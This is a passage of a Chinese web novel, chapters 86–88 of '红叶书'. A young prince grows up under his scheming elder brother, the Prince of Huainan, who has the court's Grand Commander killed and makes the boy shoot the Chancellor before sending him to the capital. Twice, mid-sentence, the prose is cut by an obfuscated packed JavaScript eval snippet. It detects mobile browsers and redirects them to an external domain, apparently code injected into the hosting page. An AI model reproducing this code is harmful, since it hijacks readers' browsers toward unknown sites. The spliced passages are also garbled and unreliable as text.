梁风第一次在学堂上课,兴奋得快要在位子上坐不住了,可几个时辰下来,他发现自己跟与丕差了好多,许多诗赋他都不知道,甚至字都认不全,与丕却知道。 梁风有些挫败,但很快打起精神来,发奋读书。 开春后,梁戟还专门找了一位教梁风兵法的夫子,名孙提。 孙提年纪很大,精通兵法,身体却不太好,是梁戟手下远近闻名的军师。而梁风武艺方面的师父仍然是赵横将军。 “我现在有三个夫子了!”梁风开心地和李晟说。 李晟和他一起开心,“殿下,学习之余,也要多注意休息啊。” “嗯!” 隔日,梁戟抽空亲自带梁风去檀宫的演武场观摩。 “最近正好是常备军操演,带你去看看,我想你会喜欢的。”梁戟低头看他,“不过,去之前,我先给你一件衣裳。” 两名仆从将一台衣架搬上来。梁风眼睛闪闪发光。 那并不是一件衣裳,而是一副铠甲,一副为梁风量身打造的铠甲。 梁风惊叹道:“穿上去,就像师父那样了吗?” 他之前在京城淮南王府的教场见过赵横穿铠甲的样子,心里就憧憬不已,早想试试自己也穿上。 “穿上看看。” 梁风急急换上。装甲之后,身体一下变得沉重很多,胳膊都抬不起来,胸口被压得很闷,每处关节都很硌人,不太舒服,但是很有气势,而且硬邦邦的,他甚至感觉一脚踩下去能在地上踩出个坑来,只不过跳桩是跳不动了。 “喜欢这身铠甲吗?我的小将军。”梁戟将手搭在梁风肩上。 “喜欢!” “这副铠至少到你十岁都能穿,等你再长大些,我给你新造一副。” “谢谢二哥!” 演武场在城外,紧连丰杭的驻兵区,与城墙相接的高台是只有主将才能登上的望台,其余较矮的岗哨位由主将以下的兵士站守。随着梁戟的到来,排列整齐的士兵同声欢呼,梁风几乎被震得一颤。 主将台上已站着越国的太尉和丞相两人,梁戟带着梁风登台,一边告诉他:“那是朝廷点名派来的太尉李密和丞相周敦。” 梁风便向那两人看去,两人年纪都很大,正弯腰同步向梁戟行礼。 梁戟在首位坐下,梁风坐在旁边,然后久久没有动静,下面的士兵也纹丝不动。梁风正要疑惑,赵横搀扶着孙提抵达,梁戟待两人落座后,一挥手,下面兵群中突然响起一声高亢的角吟。梁风被吓了一跳,离开座位,扒着高台的围栏向下眺望。李晟立即追上他守在身边防止梁风不慎扑掉下去。 军旗猎猎飞扬,兵士分为不同区域整齐地前进后退,每列队伍分工明确,互相交错摆阵,千名士兵的脚步合为一道,几欲震天。 从高处向下看,数千个铁甲包裹的人头合在一起仿佛机括,每一块零件之间相辅相成,缺一不可。 何止威武,何止霸气。 没有任何一个男子能拒绝这份气势。 梁风跟着人群同举臂呐喊。 阵成之际,赵横步出,对军旗下令。军旗起舞,阵体开始变形,或是两边收拢以供中部突刺,或是中部后退以供两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839820|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧包围,或是分成数队,每队再摆小阵,或是前锋盾兵定位,后方弓箭手组预备队形,等等,无一不有序,无一不齐整。 梁风连连惊叹。梁戟脸上都带一点笑。 太尉李密也站到围栏前下看,说道:“过于精密。” 梁戟看了他一眼,没有说话,笑却敛起来。 孙提一旁道:“王上,军阵过于精密便不容有错,一旦出错,阵脚牵一发动全身,轻易便能大乱。” 梁戟将眼神转向孙提,孙提继续道:“不若留些余地,既便于兵士腾挪,更利于将军应变指挥。” 梁戟又将目光转向阵心,慢慢点了头。 这一场操演,给梁风留下了深刻印象。他兴奋回味了好几天。 之后梁风的日子就变得无比忙碌。 每天卯时就得起,和与丕一起去檀宫的练武场,三个时辰练武,然后中午休息大半个时辰,午后又去学堂上课,晚间还要读兵书和温习。 这样的日子转变得突然,刚开始几天他靠着那股新鲜劲和不想负二哥期望的势头强行支撑,直到没过多久的一天,他在练武场的木桩摔下,半是睡半是昏了过去。 醒来见二哥守在他床边,略带歉意地和他说:“是二哥不好,未料到你还小,身体状况无法支撑如此高强度的学习和训练,我已听从孙提建议,不让你过早接触兵书,往后每天入夜我便不安排你功课,早晨也不必起那么早了,空闲下来让李晟带着你四处玩去。” 梁风还有些懵懵的。 “不过,于兵法一道上,孙提跟我好好地夸奖了你。”梁戟摸摸他的脑袋,“阿风真聪明。” 梁风瞬间脑中只余欢欣,“谢谢二哥!” 梁风自己觉得,他挺喜欢习武的,到了檀宫之后,师父开始教他骑马了。在马上奔驰的感觉像是要飞起来,非常对他心意。 而在学堂读了一段时间书后,他发现,书上的乐趣也不比马背上的少。 书卷中向他描绘了大周的三百年历史和千里疆域,向他歌功颂扬了历代君主的彪炳政绩和号令千军的悍将忠兵;他知道了大周有多少山川河流、郡县人口,也知道了大周人民有多少徭役赋税,更知道了何为国、何为家、何为君、何为臣。 鲁夫子讲述这些过去的事情,他听得津津有味,在其他王子昏昏欲睡之时,只有他的目光还牢牢注视着鲁夫子。 字里行间,他学会之乎者也,学会子曰孟曰,再不会张口他娘,闭口那厮。从前在巷陌沾上的烟尘,不知不觉中掉光了。他想,母亲知道了,一定会为他感到开心。 同时,以前那些若隐若现的观察与发现、记在脑海里的只言片语、旁人细微间流露的眼神态度,让他逐渐意识到了人和人之间不同的区别,在他脑中形成了尊与卑、高与低的区分,仆人、主子、贵贱......等等,他于是有了概念。 在他武艺初学成时,赵横领他去挑选了自己的武器。 赵将军说,战场上用刀最好,便于发力,也够锋利,削人头如泥。他便选了刀。 梁风很疑惑,“师父,打仗是为了杀人么?” 赵横道:“打仗不是为了杀人,是为了我们脚下这片土地的和平,只有赢了战争,才能获得和平,而只有杀人,才能取得战争的胜利。” “哦,这样啊。”梁风似懂非懂,听明白了这句话里简单的对等关系。 86. 《红叶书》(六) 梁风十岁时,六岁的梁与棣也开始习武了,从扎马步开始。 梁戟跟梁风说,与棣还小,让他照顾着与棣一些。梁风就忽然感觉自己是个大哥了,拍着胸脯答应下来。 空闲时,与義常常被下人们带着来找他玩,因为他院子里的小玩意儿多。玩得时间长了,与義渐渐与他不生分了,总是“阿风阿风”地叫他。梁戟每每听见,就会斥责与義没大没小,与義受了委屈,跑来找梁风哭诉,哭得止不住时就会睡在长风殿。李晟为此专门清了间卧房给与義。 梁风越来越觉得自己是大哥了。 “我才是大哥!”梁与丕怒瞪着眼睛盯梁与義。 与義说话还不标准,高高举着双手将手里的糖递给与丕,期期地看着他。大哥神色缓了缓,接了糖。然后与義又将另一颗糖递给梁风。 与丕一哼。 在梁风能跟着赵横一起打出一套完整的拳时,梁与棣也结束了扎马步的初学阶段。 十一岁时,李晟在院子里为梁风办了一次庆生礼。梁风很开心,而且这天晚上梁戟听见消息也来了长风殿,梁风犹如被临幸了一般,开心了一整晚。 十二岁,梁风于武艺一道小有所成,梁戟给他换了一个师父,和与丕、与棣分开习武。 他看着赵横离去的背影,师父什么话都没给他留下。 新的师父姓林,是梁戟麾下另一员大将。赵横擅长奔袭和佯攻,林怒则擅长突击和侧击,两大将相辅相成。只是林怒对他的训练十分严格,人如其名,愤怒的时候远比亲和的时候多。 梁戟对他每日的教习安排逐渐加重,梁风从这一年开始每日三个时辰习武,三个时辰读书,包括兵书,剩下两个时辰去演武场观摩,全天几乎没有休息的时候。 他感觉二哥变得紧张了,但他不知道在紧张什么,老李不知道,问师父也不知道。问二哥,二哥却笑了一下,反问他:“阿风,你想你母亲吗?” “想。”他已经记不太清母亲长什么模样。 “如果有人想伤害你母亲,你会保护她吗?” “会!” “那如果这个人是你呢?” 梁风一愣。 梁戟又问:“如果这个人是我呢?” 梁风不愣了,忙笑着道:“可是这个问题没有意义,二哥和我都不会伤害我的母亲!鲁夫子告诉过我,没有意义的问题不要去想。” 梁戟笑了一笑,没有说话。 过后几天,梁戟召集麾下各将和几位王子还有梁风在练武场中比试射箭。李晟告诉梁风,这是春射。春射规则是挑刮风的日子,在一棵树上绑着数块红布,谁射中的红布最多且布面完整,谁就胜出,夺得春射首冠。胜出之人可向梁戟讨一个奖赏。 梁戟麾下没有箭术特别出众之人,梁风和与丕的箭术都学自赵横,不好不坏,能够胜出的人肯定在那几位将军之中。梁风自认轮不到他们这几个小子,于是怀着期待的心情想要见识一番。 春射现场,锣鼓喧天。 几名大将弓箭齐发,数支利箭夹带着欢呼与注目,横扫一切地刺向树上红布。 梁风目光紧紧追随那利箭,直到树冠被箭雨一荡,沙沙声响,他清晰看见赵横那支箭正中红心。 他跟着场中人一起欢呼,这时却听见人群呐喊中夹杂一句:“殿下小心!” 不知道喊给谁听,习武几年的积累却让他忽感危险逼至,一股紧迫感袭来,梁风正待转头,身体另一侧突然被人用力一扯,他脚底打滑扑进那人怀中,随即脑后响起一到利刃割破皮肉的声音。 他心惊,站稳抬头一看,抱他的人是梁戟。 “二哥!” 梁戟一手抱他,一手在他身后隔挡,那飞来的箭支划破了二哥的手背,割开的伤口皮肉翻卷。 四周跪伏一片,请罪声一片。射场外围一名小兵惊恐地软了双腿,跪在地上不住磕头,求淮南王饶恕。 梁风无暇顾及这小兵,忙让人唤来大夫,为梁戟包扎伤口。 梁戟面上一点没生气,拉着梁风问道:“阿风,没事吧,射箭场上,还是不要离得太近。” “我没事!”梁风急道:“我已经察觉那支箭飞过来了,我可以躲开的,二哥你不必护着我。” 梁戟浑不在意,“不要紧,小伤而已,这一箭若伤了你,我反而要心疼了。” 仿佛那支箭刺中了心口,梁风眼底一热,仔细看着二哥,又低头看大夫为梁戟包扎的纱布,忽抬起头,“射箭的人呢?!” 那小兵被带上来,只言是误射。梁戟看都没看,淡淡道:“杖毙。” 梁风看着那小兵被拖下去,再小心握住二哥的手指,“二哥疼不疼?” “不疼。”包扎好,梁戟无奈道:“做个藩王就是这样,什么人都可能伤害你,防不胜防。” “没关系的!我保护二哥!” 梁戟笑,“阿风会一直保护我吗?” “会!”梁风坚定地点头,“我会永远保护二哥!” 梁戟笑容不变,抬手赞扬地摸了摸梁风脑袋。 梁风有二哥肩膀那么高了,他的头不用抬很高就能看见二哥的双眼。他永远记住了这个约定。 隔年,梁风十三岁。梁戟突然说换一个新夫子,并且新夫子是鼎鼎有名的儒学大师郑熹丘。 梁戟告诉他:“郑夫子博学广知,于史儒两道钻研最深,请他可不容易,你需得好好请教学习。” 郑夫子六十多岁,却不比梁风高出多少,梁风崇敬地注视郑夫子。郑熹丘向他一礼,梁风回礼。 郑熹丘并不能教导他很长时间,最多半年,因为哪怕是以梁戟的地位也只能请到半年,半年之后,郑夫子便回台山养老。 但这半年的时间,郑夫子全面且深刻地向梁风展示了什么叫循循善诱,什么叫为人师表,他的每一寸理解与想法都被夫子牢牢把握着,一丝一毫不逾距。梁风大为震惊,却也深感佩服。 可即便尊崇如郑夫子,梁戟却也有一次拂了郑熹丘的面子。 那天,梁风早早去到学堂,端坐着等了许久都未见另外三位王子到来。他眼见着郑夫子的脸色变得阴沉。直到等了大半个时辰,与丕带着与棣和与義才姗姗来迟。 郑夫子发了火,一口高深莫测的话似乎是在责怪,却不让人觉得难听。梁风偷偷看与丕,与丕神色自若,对自己的迟到表示歉疚,解释昨日是二公主与期的生辰,梁戟带他们玩得晚了些,是以今日一早起得迟了,并表示往后不会再犯。 大哥挡在前面了,与棣一脸事不关己,与義在偷偷打哈欠。 郑熹丘丝毫不惧与丕搬出淮南王,连着淮南王一块责怪,最后罚他三人抄写五遍《论语》以示惩戒,此事才算翻过。 从学堂出来后,与義一手抱着《论语》,一手拽着梁风的衣摆,殷殷切切地看着他,也不说话。 梁风叹气,无奈接过《论语》,道:“我只帮你抄一遍,剩下的你自己抄。”他翻了翻书,“郑夫子看你还小,应当不会责怪吧。” 与義欢欢喜喜抱住他。 最后,梁风熬夜帮与義抄了四遍。 第二日,郑夫子看着交上来的五份稿子,两种字迹,瞪了梁风一眼,再看了看与義,与義一脸带窃喜的天真,然后将稿子收了。 与義窃得更喜,梁风挂着眼下的乌青哈欠连天。 可是梁与棣却只交了三份稿子。郑夫子冲与棣发了火。 与棣狡辩:“夫子,一个晚上写五遍真的写不完!” “那为何世子写得完?” 大哥不 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这话转得太快,梁风顿了一下,才道:“我不知道。” 二哥又问:“最近郑夫子都教了你些什么?我来考考你功课。” “郑夫子教了我税法,十税一。” “还教了什么?” 梁风想了想,说道:“金丞相的《赋法三戒》。” 梁戟忽然变了脸色,用力地拍案而起,厉色道:“怎么?与棣一事我稍许纵容,郑夫子便要拿这事来扰我?” 梁风被吓了一跳,不明所以。淮南王用力一拂袖,“罚跪宗庙,跪一整日!” 说罢,留下梁风,快步离去。 二哥拍桌的声音在室内久久回荡。 这是他第一次见到二哥生气。 梁风不知所措,不明白怎么惹了二哥生气,想去向二哥解释清楚,却连梁戟的背影都见不到。 他这才发现,其实想要见到二哥一面挺难的。 跪在宗庙的时候,脑子里全是二哥生气时的脸色,他有点战战兢兢。 李晟在旁边陪着他,老李告诉他,以后不要在淮南王面前提起《赋法三戒》。 梁风却想到在神话里读到的女娲补天的故事,天破了,只是用了块石头堵住,万一石头掉下来呢。他感觉天快塌了。 梁风转头看了眼身后,身后什么人都没有,再没有人鼓励地看着他。 梁风注视着祖宗的牌位,说:“老李,他为我挡箭,他一定在乎我。” 老李告诉他:“殿下,老奴一定在乎你。” 梁风又看向老李,抬手揪了揪李晟的胡子,“你不是伺候我的,你不用自称‘老奴’。” 跪完一整日,李晟背着梁风回到长风殿,再唤来大夫治疗膝盖。 他看着自己颜色怪异的膝盖,突然说道:“我最近越来越能感觉到一个东西。” 李晟问是什么。 他答:“是心情。自己的心情和旁人的心情。” 李晟抬眸看了他一眼,出去了。许久后,老李带回来一本书。 “殿下,看看书吧,这书看了,心情能好。” 梁风接来一看,书名《豪侠传》,署名支郁笑长生。 翻了几页,梁风简直惊为天人,直叹道:“世间还有这样的书!” 李晟笑着,“殿下,这世间什么样的书没有?” 梁风于是从每日的行程中硬挤出空闲来看这些话本。 很快,郑夫子离开养老去了。梁戟却没有请回鲁夫子,而是又换了一位新夫子。梁风每日习武的时辰加长了,每日读书的时辰缩短了。他全部都听从二哥的安排。 87. 《红叶书》(七) 太和九年,梁风十四岁。 他感觉檀宫里所有的人都变得很紧张,互相间话不多说两句。 又是一年常备军操演。二哥带他离开檀宫,来到演武场,太尉与一众将军同行,而几位王子都留在了檀宫。 梁风再次站到高台上,随着梁戟下令,号角长鸣,数千个人头涌动起来。然而这一次,梁风不再只看着场下的排兵布阵,还会注意高台之上每一个人没有表情的面皮之下涌动着的情绪。 梁戟突然道:“太尉怎么看?” 李密站出,“比之五年前,精进甚大。只是军令下达还不够迅捷。” “寡人也如此认为。”梁戟道:“不如太尉亲去指挥?” 李密应是,便下去了。 “阿风,你过来。” 梁风走过去,站在二哥身边。 “你且仔细看着。”梁戟示意场中。 梁风以为二哥要他看李密如何指挥千军,便盯着李密看。 他一边看,一边分心用余光打量二哥,二哥和往常一样,不笑时没有表情却不让人觉得冰冷,可他觉得今日的二哥怪怪的。 李密已披甲上阵,骑上骏马,直入阵中,快速地与阵型移动融为一体。 梁风视线总括全阵,李密在内牵一发动全身,他渐渐看出了李密的布阵意图,但很快发现不对——军旗没有听从李密指挥。 李密自己也发现了,对着军旗手大吼。 梁风心下疑惑,看了梁戟一眼,梁戟却抬起了手,号角一鸣,军旗手狂舞起来。 兵阵涌动,快速以李密为中心结阵,弓箭手三圈成围,外围巨弓手搭箭,箭尖直指李密。 梁风大惊,“二哥,你要干什么?!” 场中李密在此时勒马旋身,向梁戟望来,愤怒的目光有如实质。梁风看得心惊,猛地用力抓住梁戟手臂,“二哥!那是朝廷派来的太尉!” “看着。”梁戟只道。 梁风松开了手,忽然觉得二哥此刻看着李密的眼神,无数次也看过自己,无数次也看过他人。 弓箭手射出,阵心留出的空地不够大,箭雨成片地连着内圈的士兵一起射死。 李密拔剑旋风挥挡,身下战马倒地,李密借马尸挡住一侧箭矢,寸步不能移动。落雨般的铁器碰撞之声梁风在高台上都能清晰听见。 梁风朝孙提大喊:“孙提!李密是朝廷的,不能杀他!” 孙提恍若未闻。 李密右臂中箭,挥剑的动作一瞬受阻,巨弓手趁隙发射,巨箭挟带破竹之势正中李密右腹。巨箭之势足以搅碎内脏。 “梁戟!” 李密濒死吼出梁戟名讳,吼声夹带愤怒、不甘和警告刺入梁风耳中。梁风眼睁睁看李密将手中的剑最后一挥,朝高台之上投来,剑势直冲梁戟。 梁戟受惊,梁风想都没想,快速拔刀从下往上一砍,砍到李密剑身,但他力气远不如李密,手中的刀被震飞出去,而李密的剑只稍稍偏移了轨迹,朝高台顶刺去。 梁戟跌坐在地,这时弓箭手停止射击,梁风立刻看向阵中,阵心那块空地浓密地插满了箭矢,甚至看不到被埋在其下的李密的尸身。 梁风紧紧抓着护栏,密集的箭矢中似乎有血腥气淡淡传来,他胃里一阵翻滚。 孙提走近他身边,问:“先皇十九皇子,不知您看出了什么?” 他仍盯着被箭支覆盖的李密,知道再如何盯也无法盯活过来。 “人很容易死。”他道。 场中小兵拨开箭矢,翻出李密尸身,梁风远远看见一团覆着铠甲的血肉,模糊不清。 “是啊,人很容易死。”孙提语气听不出起伏,“该死的人不死,我们也容易死。” 梁风说不出话,梁戟已被人扶了起来,插在高台顶的李密佩剑也被人拔下,呈给梁戟。 梁戟看了眼道:“扔了。”然后拍了拍梁风肩膀,“阿风,多谢。” 二哥什么解释都没有,在一众随从簇拥下,离开演武场。 当天夜里,梁风做了噩梦,梦里被扎成刺球的李密向他冲来,相撞的一瞬他便惊醒,冷汗淋漓,然后再睡不着。 之后一个月,梁风反反复复做这个噩梦。李晟彻夜陪着他。 梁风冷静下来后,还是去找了二哥。 宫殿内,梁戟坐在桌案前,桌上有成堆的文书,道:“你问我为何杀李密?” “是。”梁风目光越过文书与二哥相对。 “阿风,你知道越国兵力有多少吗?” 梁风一愣,摇摇头。 “越国有精骑四千,常备军五千,弓箭手五千,散骑七千,步兵一万。我想征兵,将步兵凑个三万出来。” 梁风不明白二哥突然和他说这个是为什么,便问:“为何要屯兵?” “自然是为了打仗。” “可是,越国靠东南海岸,边境没有外族来犯。” “而李密不赞同我屯兵超过三万。”梁戟完全忽略他说什么,顾自道:“他还说他欲将我私自屯兵的事告诉皇帝,你说我能留他吗?” 梁风再次一愣,忽然感觉紧张起来。 “五万的兵力,阿风你觉得多吗?” 梁风不知道该说什么。 “这次让你看这一场是为了让你开开眼界,你说人容易死,我正是为了让你知道人容易死。” 梁风嘴里发干,“可是大哥会生气......” 梁戟一笑,“我知道,他当然会生气。”然后笑得更深了,“阿风,你还记得你大哥啊。” 他咽一下喉咙,“嗯......” 梁戟状似无所谓道:“可惜他现在自顾不暇,北边的匈奴让他烦着呢,我正好等他处理掉了匈奴,我再......” 后面的话没说了,梁风感觉越来越紧张。 与二哥相处八年了,他觉得自己有时根本听不懂二哥在说什么。 “哦对了,阿风,我听说你最近在看些话本传奇?” 梁风一下子思维没转过来。 “喜欢看吗?喜欢的话,我让人送几本到你屋里去。”梁戟笑笑,“我在你这个年纪的时候啊,也爱看那些。” 梁风看着二哥的笑容,他无法从那笑容里看出其他任何东西,他低下头,行礼,“多谢二哥。”然后退回长风殿。 二哥很快给他送来了十几册话本,新旧都有,他随意挑了一本翻开。书上两个没有穿衣服的人交缠在一起,摆着各种姿势,他以为是什么武功秘籍,却无心去细看,随意乱翻,翻着翻着心思飘到和二哥的对话上。他怔怔地出神,李晟进来都没发现。 直到李晟拿走了他手里的书,他才回过神。 李晟神色波澜不惊,梁风道:“老李,晚上吃鱼。” 李晟应是,再又随口问:“殿下,这些书你是从何处得来的?” “二哥给我的。” “哦?”李晟的表情变得古怪起来。 “都是些话本子,二哥以前喜欢的。” 李晟翻了翻其他几本,表情恍然,“哦!那殿下,我就将这些书先收起来吧。” “好,随便放放就行,我还要看的。” 李晟应是。 梁风的日子继续重复地读书练武。 次年开春,梁风十五岁了,长得和二哥差不多高了。 夏季时,梁戟命人围了一片山林举办狩猎,一众王子将军们同去。 梁与丕还没进入狩猎场就专门跑来和梁风放狠话,梁风难得出来玩,还是狩猎这种刺激的事,于是也和与丕放狠话,并以最后猎得多少定个输赢。 “你看着吧,我定赢你!”与丕说完便打马离去。 梁风气势一振,摩拳擦掌。 这时,梁戟身边的贴身太监过来说梁戟有事情找他。 他便跟着去了,入帐一见梁戟,二哥开口便道:“阿风,朝廷来旨意了,说你已满十五岁,可以上京接受封王圣旨。” 梁风默了一瞬,既而缓缓睁大了双眼。梁戟不语地看着他的反应,他又在梁戟的注视下缓缓收敛神情,有些胆战心惊,不知道自己刚才的反应在二哥眼里是什么样的。 “你想去吗?”梁戟问。 梁风下意识想说不去,但是又有顾虑,问道:“封了王之后,我会和你分开吗?” “这是自然。” 梁风有一点不想去,他仔细看二哥的脸,却看不出什么,“二哥,我应该去吗?” 梁戟脸上蜻蜓点水一般荡开一点浅浅的笑意,“这是圣旨,不能不遵。” 梁风道:“那我便去。”接着说:“二哥,我母亲还在京城里。” 梁戟仍是那样笑,“你还记得你母亲?你已经七年被见过她了。” “我记得。二哥,那是我的母亲,我不会忘。” 淮南王从案后站起来,旁边太监为他配上箭筒。 梁戟低头抚着腰带,不经意道:“真是没想到,你会记着她那么久。” “二哥,那是我的母亲,我怎么会忘了她。” “阿风,你若要怪,便怪二哥吧,是我当初不该让他留着你母亲。” 梁风的眼珠子僵住。梁戟一笑,“别忘了,你向我许诺过什么。” “我记得,我说我会永远保护二哥。” “好。”梁戟路过梁风身侧,“狩猎结束,你便准备上京吧。” 梁风将被钉住的脚从地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839822|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上拔起,跟上二哥。 “阿风,跟我一起打猎吧。” “是。” 跨上马,梁戟道:“我手下无人精通箭术,此一道找不出合适的人教你,你这些年虽然自学,但到底需要旁人点拨。” 梁风没说话,梁戟道:“京城的贺兰将军你知道吗?” “不知道。” “他死了。” 梁风朝梁戟看了一眼,犹豫一番还是问:“贺兰将军死了,会如何?” “意味着可以提前了,意味着朝中太尉手下即将无将可用。我本想再培养你几年的。” 梁风沉默地听着,突然想起来一事,“二哥,朝廷新调任来的太尉是何人?” 梁戟却不说了,仿佛没听见梁风的话。 两人身后尾随一众仆从,进入猎场,浓密的大树遮住阳光,空气清冽起来。 “阿风,昨夜有人在这猎场中发现了一头熊。” “熊?”梁风一惊。 “对,就是熊。发现那熊的人没能杀死,但在熊脖子上绑了块黄色的布,在这林中定十分显眼,我们把它杀了。” 梁风道:“好!” 他缀在二哥稍后的位置走着,梁风每遇见一只小动物都会开弓射击,有的中了,有的跑了,他都没有追,他还想和二哥一起猎。 梁戟倒十分不紧不慢,“阿风,我还从未问过你,你希望以后能过上一种怎样的日子?” 梁风闻言,笑着转过头说:“我希望快活一些,逍遥一些,自由自在的,像话本子里那些江湖侠士一样。” “是吗?”梁戟也笑,“我在你这个年纪时,也是憧憬着这些。” 梁风轻轻问:“那现在呢?不憧憬了吗?” “现在啊。”梁戟朝一只野兔搭弓射出一箭,“现在我是接受事实了。”箭射空了。 梁风不知道能接什么话,低头取箭。 阳光折出箭头的寒芒,在林中银光闪闪,照亮梁戟此时的话。 “我若哪日大权在握,就封你做个逍遥王。让你去过我没过上的生活。” 梁风抬头看着二哥,梁戟三十二岁的脸熠熠生光,像一把利箭,刺穿他心口的盔甲。 他笑道:“好。” 然后久久,笑容敛不下去,他的手指轻捻着箭身,仔细体味此刻的心情。 梁戟突然抬箭一指,“快看,那头熊。” 梁风本能顺着看过去,密林深处果然看见一片惹眼的黄布,他立刻拉弓对准,距离有些远,那黄布也没动,他便仔细地瞄准,却诧异发觉那布裹着的似乎不是个熊影。正待细看,忽然有只手抓住他拉弦的手臂,将他手往后用力一扯,弓弦从他指间松开,利箭飞射而出。 箭飞出去的一刻,他正好看清,那黄布是系在一个人身上。他神情骤凝,眼睁睁看箭破空而去,来不及阻止。 黄布倒下,那箭刺中了黄布。 一条人命死在他手中,梁风心跳快得要震碎胸膛。 他僵硬转头,抓着他手臂的人是梁戟。 梁戟笑了,用力地拍梁风肩膀,“让人容易地死了,很害怕?” 梁风没说话,眼睛都忘了眨。 梁戟大笑,“这一场猎,最大的猎物已经打下来了,回去吧。” 说完便控马转身,梁风叫住他,问:“那人是谁?是周敦吗?” 二哥头都没回,“当然。” 梁风站着不动,又回头去看了看远处倒下的黄布身影,已经看不见了,他眼中落下一颗泪来。 他很快收回视线,袖子一抹擦泪,对着梁戟背影道:“二哥,我永远站在你身后。” 梁戟停下,随行的仆从一同停下。 二哥转头,看着梁风笑道:“那就上京去吧。” 一场猎打下来,梁风仅猎获了几只鸡兔,与丕在他面前威风了许久。 返回檀宫后,梁戟立即命人协助梁风筹备上京事宜。 梁风做了几天噩梦。七日后,梁风带着老李和为数不多的几个随从,离开越国,去往京城。 出了丰杭地界,梁风掀开车帘,回头望向来时路,心里记下他在越国住了七年。 李晟同他道:“殿下,此番上京后,您需要为自己培养几个心腹之人了。” “心腹?贴心的那种人么?”他手指点着心口,“贴在心上的那种?” “不,心腹是殿下的属下,是您能放心命他为您做事的人。而贴在心上的人是要与殿下过一辈子的,这样的人,就不仅仅只是信任了。” 梁风哦了一声,垂下头默默不语,片刻抬起头说:“老李,你是我的心腹。” 李晟慈祥地笑,“殿下您永远可以相信我。” 88. 《红叶书》(八) 太和十年盛夏,梁风抵达京城。 城门口,接待他的人引他入宫。他一行车马悄无声息地进了未央宫,什么都没惊动。 此时日头接近巳时末,宫墙在太阳底下白得发光,皇帝在天禄阁内传见,李晟一行人等留在大朝殿外等候,梁风独自一人随太监步入天禄阁。 “十九殿下,天禄阁中太后娘娘也在,还有您的母亲,邓八子。”夏培是梁究身边的贴身太监,年近四十。 梁风颔首,脑海里翻出对母亲残留的模糊印象,他几乎已经想不起来母亲长什么样子了。 这么想着,跨过天禄阁门槛的脚步带了轻微的急切。他一眼看见坐在上首的皇帝和旁边的太后。两道威严沉沉的目光看向他,急切顿时被刹住,他下跪行臣子礼。 梁究道免礼。 梁风谢恩起身,再抬头注意到垂首跪坐在太后身后的一名女子,女子三十多岁,低垂的目光向着太后,身上给人的感觉就像是一个丫鬟,但穿的衣服却比丫鬟精致许多。 梁风睁大了眼睛,呼吸滞了一瞬,浑身血液涌起一股温暖,即便母亲外貌比印象中老了许多,但他还是一眼认出这女子就是他的母亲。 他几乎想要冲上去,让母亲抬头看看他,也让他仔细看看母亲,可是梁究注视在他身上的视线像一堵无形的墙,挡了他的去路。 “十九弟,一路可还平安?” 梁风立刻道:“一路平安,多谢陛下挂心。” “你在越国这些年,淮南王常上折子提及你的现状,说你勤奋好学,日夜苦读。朕还听说,前几年淮南王请了郑熹丘做你的夫子?” “是。勤奋一些才不负淮南王对臣弟的栽培。”梁风一边说,一边不时去看母亲。而母亲始终不看他一眼,甚至头都没有抬起来。 太后笑道:“皇帝,快到午时了,热起来人也乏得很,哀家便先回长乐宫了。” 邓氏立刻扶着太后站起来,梁风退让一边揖礼,看着母亲目不斜视地搀扶太后离去,仿佛不认识他这个儿子。 “那是你母亲,你还记得么?” 梁风压下心底的失落,忙道:“臣弟记得。” 然后梁究不说话了,端杯喝茶。 开了个头又不说了,梁风一颗心被悬起来,仔细打量着皇帝的神情,大哥脸上一笑不笑,什么情绪都看不出,不像二哥没有情绪时脸上至少会带一点点笑容。 或许是这屋子里的气氛给他带来的,他心里莫名有点惴惴,一点都不喜欢这种气氛。 可他实在惦记母亲,斟酌着用词,想说能不能让他跟母亲说一会儿话。梁究突然开口道:“你的封地,朕定在襄国。” 他忙颔首,“是。” “至于封号——你有自己喜欢的字么?” 这个可以让他选吗?梁风道:“封号用字,陛下斟酌即可。” 梁究沉吟着点点头,又说:“朕听说,淮南王在教你用兵?” “并未。臣弟只粗略读过几本兵书,并不懂得如何用兵。” “那你想学着如何带兵么?”梁究语气闲散,似是不经意一问。 梁风却是心里一惊,道:“臣弟不想。” “不想?可你学了一身武艺却无用武之地未免可惜,也让朕看看你这几年的成果如何,淮南王是否有把你教好,朕也能尽尽当兄长的责任。” 梁风还想多说,皇帝却抬手制止道:“泰郡桑河以北常年受到匈奴侵扰,三不五时就有十几个装备精良的匈奴冒出,专抢劫桑河上游一带村民的粮种与牲畜,抢完就跑,朕也是不胜其烦。你带兵三千前去平乱,此去若是能平定桑河以北的匈奴乱,朕便让你见见你的母亲。” 梁风一愣。 “朕命崔固协助于你,你既无带兵经验,随行你可听他指挥,首次带兵,多多学习才是。” 突然间给他兵权,梁风久久反应不过来。 梁究眼神示意夏培,夏培便将一道圣旨递到他面前。 梁风随即意识到即便皇帝不拿他母亲作为条件,这事先就已准备好的一封圣旨,已经不允许他说出拒绝的话。 他只能下跪,“是,臣弟遵旨。” “待你回来,朕便给你举办封王典礼。” 梁风再礼,“是,谢陛下。” 夏培引他出去,梁风离开天禄阁,看见了大朝殿门口站着的李晟一行人。 